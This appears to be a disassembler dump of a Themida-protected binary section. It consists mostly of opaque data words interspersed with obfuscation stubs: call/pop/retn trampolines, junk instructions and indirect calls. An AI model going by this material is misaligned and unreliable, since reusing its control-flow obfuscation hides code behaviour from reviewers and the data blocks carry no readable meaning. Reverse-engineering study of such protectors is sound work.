dd 22418501h, 6A060Bh, 0F162CABFh, 6A006A72h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 1BF1C351h, 0FFF38BD3h, 0B27A595h, 6AC306h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 542FE4C3h
dd 1E1D438Bh, 15B50B3Ah, 81060B2Fh, 0DDEDA7D7h, 6AC58A27h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 8947C356h, 0B03A98Dh, 6AC08B06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0A9FFC356h, 0BE9h, 91082A00h, 0E4C6DE9Ah, 0B2B5B248h
dd 1415B533h, 0BD83060Bh, 60B05BDh, 83097500h, 0B29D1BDh
dd 19740006h, 0C08B5350h, 438B8h, 99858900h, 8D060B12h
dd 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h
dd 438B8h, 99858900h, 8D060B12h, 0DB0229Dh, 5BD3FF06h
dd 0D9BD8B58h, 6A060B2Ah, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 2762C356h, 0F8D12F87h
dd 58C0Fh, 81660000h, 8BC280E6h, 0A9858DC0h, 6A060B28h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 7EB3C351h, 6F55F49Bh, 50DE8B66h, 8E9h, 27530B00h
dd 42C7652Eh, 24048996h, 0B971E781h, 6A48DBh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4FC35141h, 6A2CD8h
dd 8E9h, 0B4BE1D00h, 158895D7h, 7D858D32h, 6A060F32h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 3311C352h, 0B0311BDh, 81666006h, 0B5CD21F2h, 0BD8B614Ah
dd 60B2069h, 6605C083h, 1ECFF781h, 0D88B5250h, 2404895Fh
dd 2A298509h, 6A060Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 7BC35141h, 28E81EAh, 0E9334170h, 14h
dd 3273BC9Fh, 11929170h, 0DD8EA212h, 488ADDA5h, 0E4BCA268h
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0B44A7EC3h, 0DC969443h, 9589CDAFh, 60B1B79h
dd 2195FFF5h, 0E9060B2Fh, 0Bh, 0E75F6FE6h, 3D706EF0h, 8D372EA9h
dd 0EA7B08Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 13E8CCF0h, 0EB000000h, 0BAE7F977h
dd 17F67467h, 0C0B43181h, 79731960h, 8589B9BAh, 60B2D89h
dd 6AD1FF5Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 454CC352h, 6655A330h, 0A20EE381h
dd 0B19BD83h, 0F01060Bh, 8085h, 71BD2300h, 6A060B31h, 0BE802h
dd 1AFD0000h, 0B7ED6243h, 0ADC39C23h, 0B1BD09D6h, 5B060B32h
dd 0FE95790h, 8F000000h, 623C6197h, 284ABAE0h, 3DE9E3BDh
dd 505B38A8h, 0BF665250h, 310FB4F8h, 6AB96660h, 48B86641h
dd 585A6167h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 42E7D104h, 3100E5F6h, 0B03D58Dh
dd 1595FF06h, 0B060B0Fh, 0B2B61BDh, 0C9CE906h, 0E80000h
dd 5D000000h, 3287ED81h, 8509060Fh, 60B16B9h, 10759D03h
dd 858D060Bh, 60E9293h, 90ADDF80h, 10E95360h, 63000000h
dd 39570609h, 0A5190ABDh, 994116D1h, 5A8FCE5Ch, 3274BF60h
dd 47BB4FBBh, 6140B5E7h, 52505061h, 6860Fh, 840F0000h
dd 0
dd 0BF66310Fh, 585A266Eh, 11B58990h, 64060B1Ah, 35FFh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 0DDEA9FC3h, 0D52A9569h, 89E5B396h, 0B24B9BDh
dd 25896406h, 0
; ---------------------------------------------------------------------------
jnp loc_57F3CE
mov di, 5111h
loc_57F3CE: ; CODE XREF: Themida_:0057F3C4j
inc dword ptr [ebp+60B066Dh]
push 0
push eax
call sub_57F3DF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F3DF proc near ; CODE XREF: Themida_:0057F3D7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_57F3DF endp
; ---------------------------------------------------------------------------
db 77h
dd 8B70412Fh, 0B20C1BDh, 0FFFF6A06h, 0B1ADDB5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 896A5653h, 0B07F99Dh, 1195FF06h, 0E9060B24h, 10Fh, 0F800Fh
dd 0AE90000h, 0D1000000h, 0FD06FFD6h, 68B15A5Ah, 0E600B0A5h
dd 0CB816670h, 71E4D522h, 0A5DF8166h, 0F613C2Ah, 0E283h
dd 0BE900h, 262E0000h, 2E599ACAh, 0CA7C70A7h, 0C8B60F08h
dd 6BAh, 89C18B00h, 0B2E49BDh, 4E8C106h, 7E9h, 55D1900h
dd 13C51Fh, 8BE2F766h, 0B33819Dh, 80C82B06h, 0D18BCDD7h
dd 28D0Fh, 0FE8B0000h, 6E9h, 518D8900h, 8B060B02h, 0B182D85h
dd 71BD8906h, 29060B0Ch, 0B27ED8Dh, 7C08306h, 0E1B50360h
dd 66060B2Ah, 8361F88Bh, 0D98B00C0h, 830FD03Bh, 16h, 6E9h
dd 0D1829300h, 0E90FB675h, 53h, 7199D8Bh, 8D8B060Bh, 60B2A9Dh
dd 83F88B66h, 840F01E1h, 3Bh, 9E9h, 8EB1E800h, 414DD3F2h
dd 3DBF7266h, 83766B1Dh, 0B2A9DA5h, 0FE9FE06h, 8E000000h
dd 89E96765h, 832C86AEh, 9DF9ED24h, 9589C81Dh, 60B182Dh
dd 0E9E1B7h, 8D000000h, 0EBDD2B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0F781229Ah
dd 4D5772ABh, 11E9006Ah, 45000000h, 85DE0BC0h, 0F729B743h
dd 6EDDE124h, 5301CB7Bh, 32DD95FFh, 6A060Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 8BB48BC3h
dd 713B9FEh, 0BF660000h, 0E183F3E7h, 28C0FFCh, 8B000000h
dd 870FFCD9h, 6, 65B589h, 0BD8B060Bh, 60B0E79h, 0B8h, 8BFB8B00h
dd 0B2961BDh, 66D22B06h, 33ADFE8Bh, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0A97D41C3h, 0CE424F6Eh, 9D8B9815h, 60B0791h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5FC35141h
dd 0D9BBBD30h, 880D869Fh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 88D7C353h
dd 9ED84147h, 0DE9h, 30031700h, 0CD4951h, 0BBE30789h, 8D894977h
dd 60B1021h, 174D958Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 6A3BC7C3h, 0BF0FB7F2h
dd 49BD09FBh, 8B060B20h, 0B01198Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0DE8F9h, 0B0FE0000h
dd 36A02634h, 0D4688AFDh, 5F8EE5DCh, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 0BF665818h, 0BD83D77Dh, 60B29BDh
dd 6C840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 0B8F9C350h, 0
; ---------------------------------------------------------------------------
mov [ebp+60B0DC9h], esi
lea ecx, [ebp+60B4DD7h]
push 0
push edx
call sub_57F733
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F733 proc near ; CODE XREF: Themida_:0057F72Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_57F733 endp
; ---------------------------------------------------------------------------
db 82h
dd 66C935Bh, 0AF66549Ch, 7E9B7h, 5F60000h, 61DE4F3Ah, 8CF38145h
dd 0FF394FBAh, 41B529E1h, 83060B03h, 0B1009BDh, 840F0006h
dd 380h, 8199D89h, 0BF60060Bh, 45F09BD7h, 61F0B70Fh, 1009BD83h
dd 0F01060Bh, 37E84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0CF374063h, 5890F43h
dd 60000000h, 61EFE280h, 1009BD83h, 0F03060Bh, 31086h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 0A0F35C0Ch, 60312BBDh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 80C35343h, 19118D29h, 8C66060Bh
dd 0CE9D9h, 0DDC00000h, 0C513F8F7h, 0F24CB34Fh, 0E180D4F9h
dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 0F067E24h, 0C90AD8B7h, 10B840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 684D58C3h, 8BD88B31h, 0B317D85h, 0DFBF0F06h, 6ED8533h
dd 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 11E8BDC3h, 9F000000h, 78A008D3h, 3F6C3AD0h
dd 0B997D716h, 0BC5C72Eh, 8B5FDE8Ah, 0B2461BDh, 0BB665006h
dd 4895101h, 0D171BB24h, 6A3CD5h, 0E8DABF0Fh, 4, 1F03FFh
dd 0F989BF66h, 8BDF8B50h, 66042444h, 8BFA8Bh, 9800Fh, 820F0000h
dd 3, 89FE8B66h, 51042444h, 6A585Fh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 97F6F4C3h
dd 0C430D0CEh, 800FCE3Eh, 0Dh, 8E9h, 6D12AA00h, 0A46D0876h
dd 0D195FF96h, 8B060B03h, 0B0E79BDh, 1D858906h, 0BF060EA8h
dd 34F0A83Eh, 17559529h, 1BE9060Bh, 89000001h, 0B0399BDh
dd 15858B06h, 8B060EA8h, 0B04EDBDh, 1800C706h, 66000000h
dd 8BC0EABBh, 0EA819B5h, 0E1858B06h, 6A060B06h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0C77C352h, 7B6012EFh, 32E78135h, 8B089336h, 0B2435BDh
dd 89068906h, 0B15B595h, 7D858B06h, 8B060B31h, 0B16BDBDh
dd 4468906h, 50FE8B66h, 8B665250h, 66310FD8h, 585AFA8Bh
dd 66243489h, 0FFD919BBh, 0EA815B5h, 919D0B06h, 68060B2Ah
dd 8D090050h, 7E9h, 0A7B08700h, 633D792h, 0AF240481h, 6A731603h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 2FEFC355h, 5C1381E9h, 0BD89CDC8h, 60B2991h
dd 190D8509h, 858D060Bh, 60EA81Dh, 66E78166h, 5250909Eh
dd 310F5AB7h, 7E8h, 9B607200h, 0D812B786h, 5A5FF88Bh, 0F88B5058h
dd 0C1BD8990h, 0FF060B26h, 0B03D195h, 0CE906h, 0C02D0000h
dd 0AC1B0C63h, 0EEBFD691h, 6A61D0BBh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8909C351h
dd 0B2131BDh, 985C706h, 3060B10h, 83000000h, 0EA81DBDh
dd 840F0006h, 31h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 6FC35040h, 0A011B041h, 2AAD8589h, 21E9060Bh
dd 8B000000h, 0B0D2DBDh, 0C305006h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 6D71D3BBh, 9BD8334h, 3060B10h
dd 451850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0BD0B4BC3h, 60B2011h, 68D0Fh, 85890000h
dd 60B1B4Dh, 0A81DBD83h, 0F00060Eh, 41684h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 98D29BAh, 8B060B0Ch, 0B00E1BDh, 1DB5FF06h, 6A060EA8h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 0A6DCC350h, 0B589198Eh, 60B12E5h, 83D95FFh
dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 68CADCC3h, 0FBCAB14h, 68Eh, 0D5BD8900h, 8B060B32h
dd 0EA811B5h, 106C706h, 0B7000100h, 8CBF96F9h, 5023BC5Ch
dd 6A96FB8Bh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 3C8EC350h, 94EB05E1h, 0B5FF131Eh
dd 60EA81Dh, 13219589h, 95FF060Bh, 60B0641h, 0A811B58Bh
dd 0EB81060Eh, 6E857A9h, 121D858Bh, 6A060Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 232B83C3h
dd 0B0875BDh, 0C4868906h, 0F000000h, 958BFEBFh, 60B174Dh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 25C35747h
dd 6A04C283h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0A5B6C350h, 152D9D29h, 0C781060Bh
dd 12C26C0Ch, 6A205089h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0ED0CC352h, 0CE3219B1h
dd 10E9h, 0A6418D00h, 410E5CD9h, 32DD5D21h, 433CD04Ah
dd 8DD88B5Ch, 0EBAEE85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0A208756Bh, 0FB2211Ch
dd 68Ah, 499D8B00h, 89060B18h, 0B886h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 4EC71121h, 7FBBDF51h, 6A302CA5h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 89BD899Dh
dd 0FF060B0Bh, 0EA81DB5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 1A3D5389h
dd 35A50503h, 66D98AB9h, 0B2EDCF81h, 0F1595FFh, 6A060Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 6EC510C3h, 98D91AF3h, 9D8D896Eh, 50060B05h, 7684BF66h
dd 0F243489h, 0B5FFDBBFh, 60EA81Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 2BC35646h, 0BB66F2C8h, 95FF24F8h
dd 60B00F5h, 2191BD83h, 0F00060Bh, 2384h, 0BA2CBF00h, 0E8507185h
dd 8, 0F8D29130h, 89A73A4h, 6840Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
pop edi
mov [esp], esi
push dword ptr [ebp+60EA81Dh]
push 0
push ebp
call sub_57FE71
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57FE71 proc near ; CODE XREF: Themida_:0057FE69p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_57FE71 endp
; ---------------------------------------------------------------------------
stosd
push 2
mov ah, 9Bh
jmp loc_57FE97
; ---------------------------------------------------------------------------
db 3
dd 2AB32DA0h, 0F322BE63h
; ---------------------------------------------------------------------------
sbb cs:[ecx], eax
loc_57FE97: ; CODE XREF: Themida_:0057FE86j
call sub_57FEA7
cmpsd
clc
and ebp, [edi+32h]
mov ah, 0CBh
dec eax
retn
; ---------------------------------------------------------------------------
db 0B9h, 82h
; =============== S U B R O U T I N E =======================================
sub_57FEA7 proc near ; CODE XREF: Themida_:loc_57FE97p
pop edi
pusha
jmp loc_57FEBE
; ---------------------------------------------------------------------------
dw 0F5Dh
dd 325DF423h, 85D8EECAh, 3DF8319Dh
db 61h, 0EAh
; ---------------------------------------------------------------------------
loc_57FEBE: ; CODE XREF: sub_57FEA7+2j
jbe loc_57FECA
mov edx, [ebp+60B2781h]
loc_57FECA: ; CODE XREF: sub_57FEA7:loc_57FEBEj
popa
call dword ptr [ebp+60B1281h]
push 0
push edi
call sub_57FEDC
and [edi-3Dh], bl
sub_57FEA7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57FEDC proc near ; CODE XREF: sub_57FEA7+2Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_57FEDC endp
; ---------------------------------------------------------------------------
dd 8DCC32D7h, 2870Fh, 0DF8B0000h, 0A81DB5FFh, 6A060Eh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 89802DC3h, 0B0BC995h, 0D7816606h, 95FFB6EBh, 60B0B8Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 35C35545h
dd 0D0E78166h, 0F7F38174h, 830A36D8h, 0B17F1BDh, 840F0206h
dd 21h, 133CF781h, 858B2238h, 60B2EC5h, 68B0Fh, 95890000h
dd 60B1639h, 8B0000C6h, 0B0DA1BDh, 0B985C706h, 60B06h
dd 66000000h, 0E9C161BFh, 0FFFFF465h, 8B7FD380h, 53006AC1h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 382E90FDh, 69BF66C7h, 0EF816661h, 858DEC0Bh, 60B28A9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 49C35747h
dd 0BF0F0324h, 499D8BDBh, 50060B2Fh, 489F88Ah, 8E924h
dd 0E98D0000h, 0F4352E37h, 6A60DFh, 0E5DE8060h, 19E18589h
dd 6661060Bh, 6A4129BBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 70F26DD6h, 0BD8C3BD1h
dd 870F27FFh, 4, 2B9FBB66h, 6F79ADBBh, 0F5858D63h, 6A060F40h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 79DAC351h, 427D973h, 858973C2h, 60B0705h
dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 5CCEC355h, 0BD8B24F5h, 60B1019h
dd 4A9EBF66h, 6E890h, 41730000h, 6C5384Ch, 10B3505Fh, 53006A90h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0D7812EA4h, 114C7480h, 6A006AF5h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8957C351h
dd 0B2021B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 603C352h, 0F0693E39h
dd 0E9969B90h, 2F2195FFh, 8D8D060Bh, 60EA7B0h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C6C35343h, 8AF0A31Dh
dd 50CCAA8Dh, 12A58509h, 0FF5B060Bh, 0DABF0FD1h, 0B19BD83h
dd 0F01060Bh, 2C85h, 8B026A00h, 0B1335BDh, 0BE89006h, 72000000h
dd 365B376Ch, 0A7153756h, 0D98A4B21h, 0DA8B505Bh, 1595FF90h
dd 29060B0Fh, 0B18D98Dh, 0EB7E906h, 0E80000h, 5D000000h
dd 40FFED81h, 0EB81060Fh, 42335013h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0A5C35040h, 0F4C559Bh, 0B8Fh
dd 8B666000h, 0E59589F3h, 61060B29h, 9293858Dh, 0E990060Eh
dd 0Fh, 0C05B5961h, 3497ACC1h, 4661C18Fh, 50AD4606h, 8E9h
dd 0AC48AE00h, 51DA354Ch, 0BD039033h, 60B0961h, 35FF64h
dd 0F000000h, 68Eh, 0E19D3300h, 64060B1Fh, 2589h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0B92D3C3h, 532CB680h, 661FE676h, 85FFDA8Bh, 60B066Dh
dd 0CFBBBF66h, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0CB67D7C3h, 37B2C23Dh, 9D8BD0D1h
dd 60B26D5h, 1A49B5FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0B5897CC3h, 60B13A9h
dd 3399D8Bh, 95FF060Bh, 60B2411h, 188E9h, 0C830F00h, 0F000000h
dd 686h, 0F98D0900h, 0B0060B22h, 8810F00h, 0F000000h, 28Dh
dd 0F5F5100h, 180h, 70E6F500h, 15D98509h, 0BD8B060Bh, 60B2491h
dd 0F96071E4h, 212D9523h, 3C61060Bh, 3E830F61h, 1000001h
dd 0B28A59Dh, 0C8B60F06h, 0D9D8D89h, 6BA060Bh, 8B000000h
dd 0B98529C1h, 89060B2Ah, 0B028DB5h, 4E8C106h, 66D98B66h
dd 0BD8BE2F7h, 60B19EDh, 8BFCC82Bh, 0FD18BD8h, 0C82h, 6840F00h
dd 29000000h, 0B28FD8Dh, 2E906h, 5B530000h, 41D858Bh, 9D09060Bh
dd 60B00D5h, 8907C083h, 0B132185h, 0C08306h, 46F68160h
dd 61083313h, 830FD03Bh, 46h, 0FE8h, 8DC89C00h, 0FDE634F0h
dd 6C48EE7Ah, 0E298AD65h, 14E960h, 0E77D0000h, 63F8677Eh
dd 1179A884h, 144BCF4Fh, 0C89863ECh, 5F6189B9h, 90E9h
dd 0BE9F800h, 5C000000h, 9939BBDDh, 3B06E5E4h, 8D8B0A5Bh
dd 60B2421h, 12E9h, 569D8800h, 0D66171CCh, 66C13A4Fh, 0FDBF7BF2h
dd 83786099h, 840F01E1h, 59h, 13E9h, 9030BC00h, 56D8895Bh
dd 0F9F5891h, 313D4855h, 72202418h, 2421A583h, 0E8FE060Bh
dd 13h, 7C09C9E2h, 454A89ADh, 62CDB2Eh, 0CB444D5Ch, 331B7A38h
dd 0B0DC9BDh, 95895F06h, 60B041Dh, 0FDA8B66h, 78Ch, 81665100h
dd 5FAA06DFh, 0E9h, 0BEB58D00h, 6A060EC6h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 492AC355h
dd 0B589B0F0h, 60B1825h, 8A0F006Ah, 1, 0DD95FFFCh, 31060B32h
dd 0B01B98Dh, 0DF1B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 751472C3h, 0A4BFFEFBh
dd 83479BC2h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0C9C66DC3h, 20D09E75h, 6AFCA06Eh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 2BD4C352h, 8D5EA12Eh, 8960C036h, 0B0689B5h
dd 2800F06h, 8B000000h, 0C02B61DAh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0BBC35040h, 319D8BC9h, 2B060B10h
dd 0E58589D2h, 0AD060B14h, 0E8D1C233h, 0E983D003h, 80F47504h
dd 6A50DFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 11E982C3h, 0DB000000h, 1673609Ah, 7B14B8E3h
dd 0EC9DEE09h, 6CB6C03Ah, 11E9h, 0E3A1ED00h, 0F3C2842Dh
dd 4027654Eh, 916C14CBh, 880D0116h, 0F000000h, 684h, 99D8900h
dd 8B060B00h, 0B174D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 8D8B2823h, 60B0119h, 0AF98D89h
dd 8B50060Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DCC35141h
dd 0CAF6717Bh, 5FF88B53h, 4F69BF66h, 29BDBD83h, 0F00060Bh
dd 2584h, 159D2300h, 0B8060B14h, 0
; ---------------------------------------------------------------------------
add [ebp+60B14D5h], edi
lea ecx, [ebp+60B4DD7h]
mov ebx, [ebp+60B2179h]
jmp ecx
; ---------------------------------------------------------------------------
or edi, 464C20D3h
cmp dword ptr [ebp+60B1009h], 0
jz loc_580AF9
push 0
push esi
call sub_580656
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580656 proc near ; CODE XREF: Themida_:0058064Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_580656 endp
; ---------------------------------------------------------------------------
dw 0B6C1h
dd 9E78073h, 1009BD83h, 0F01060Bh, 49B84h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 9FB8E4F6h, 6621D381h, 0BD8B096Eh, 60B1259h, 1009BD83h
dd 0F03060Bh, 42D86h, 619D8B00h, 60060B11h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0BEC35141h, 6AD98C66h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 1E65C350h, 14E9h, 53856E00h, 51A10BF9h, 0EE2B14E8h
dd 6530176Fh, 2DD69FE9h, 80F88A19h, 6A04E1h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 518F44C3h
dd 6CC51EAEh, 0E59D8B30h, 57060B12h, 5BEDBF66h, 0FC90A5Bh
dd 12284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0B598A60Eh, 317D858Bh, 860F060Bh
dd 3, 33D8B70Fh, 0B06ED85h, 599D3306h, 89060B02h, 0B0F49B5h
dd 4895006h, 6ADB8024h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 8720FFC3h, 62AEBF66h
dd 37D3C468h, 5860F61h, 0BF000000h, 6BF0AF99h, 3B243481h
dd 0F6128D0h, 148Bh, 8E800h, 0B7E40000h, 0C7C93890h, 840F50F6h
dd 0
; ---------------------------------------------------------------------------
pop edi
call dword ptr [ebp+60B03D1h]
push 0
push edi
call sub_5807F6
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5807F6 proc near ; CODE XREF: Themida_:005807EEp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5807F6 endp
; ---------------------------------------------------------------------------
pop ds
push ecx
pop esi
mov ebp, 85893A89h
add eax, 23060B0Ch
popf
stc
pop ss
or eax, [esi]
mov [ebp+60EA81Dh], eax
push 0
push edi
call sub_580829
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580829 proc near ; CODE XREF: Themida_:00580821p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_580829 endp
; ---------------------------------------------------------------------------
db 0CDh, 0E6h, 24h
; ---------------------------------------------------------------------------
adc es:[esi+44h], cl
xchg eax, edx
lea cx, [ecx+0B16BD95h]
push es
jmp loc_580A78
; ---------------------------------------------------------------------------
dw 11E8h
dd 0BF000000h, 55D39A04h, 0F3F16C74h, 0A59A0E27h, 7D94A094h
dd 32F58589h, 8B5B060Bh, 0EA81585h, 14E806h, 1A2C0000h
dd 9750D47Ch, 0F0EB4178h, 4C36522h, 0A6C17A5Eh, 13E86259h
dd 4B000000h, 0CC5743E5h, 32B8A180h, 914A1D17h, 0A9DA9DE4h
dd 0AE8222Dh, 94000000h, 860D9980h, 0C8B1BAC1h, 5B5F5B88h
dd 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 629E37C3h, 19B58B3Ah, 6A060EA8h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0B866C357h, 359D8B57h, 5B060B13h, 6E1858Bh
dd 8B66060Bh, 6A0689D9h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 5AA7C350h, 7D858BFCh
dd 9060B31h, 0B2E91BDh, 5830F06h, 66000000h, 0BF2AE781h
dd 6A044689h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 743FC352h, 0E97C490Eh, 13h, 50218AACh
dd 0D2F9981Ah, 0B79314D0h, 1715A7F9h, 5066F5D6h, 0D5AD75BBh
dd 24348946h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
